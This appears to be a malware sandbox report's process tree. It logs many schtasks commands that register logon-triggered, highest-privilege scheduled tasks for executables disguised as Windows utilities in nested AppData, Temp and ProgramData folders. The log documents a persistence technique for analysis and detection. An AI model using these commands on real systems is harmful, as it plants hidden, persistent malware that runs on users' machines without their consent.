  "cmd.exe" /c schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_userinit_21" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\userinit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_userinit_21" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\userinit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mstsc_23" /tr ""C:\ProgramData\MicrosoftService\mstsc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mstsc_23" /tr ""C:\ProgramData\MicrosoftService\mstsc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_26" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_26" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicli_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\iscsicli.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicli_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\iscsicli.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_1" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:9192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_1" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_instnm_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\instnm.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_instnm_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\instnm.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xwizard_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\xwizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xwizard_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\xwizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_8" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_8" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_userinit_11" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_userinit_11" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_13" /tr ""C:\ProgramData\MicrosoftService\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_esentutl_13" /tr ""C:\ProgramData\MicrosoftService\esentutl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_15" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_15" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_16" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_16" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_17" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_17" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_18" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_18" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_20" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8456
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:9700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_20" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_21" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_21" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_22" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_22" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_25" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_25" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_instnm_27" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_instnm_27" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_28" /tr ""C:\ProgramData\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_28" /tr ""C:\ProgramData\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:9236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_31" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_31" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_32" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_32" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_instnm_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:7292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_instnm_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_7" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_7" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5192
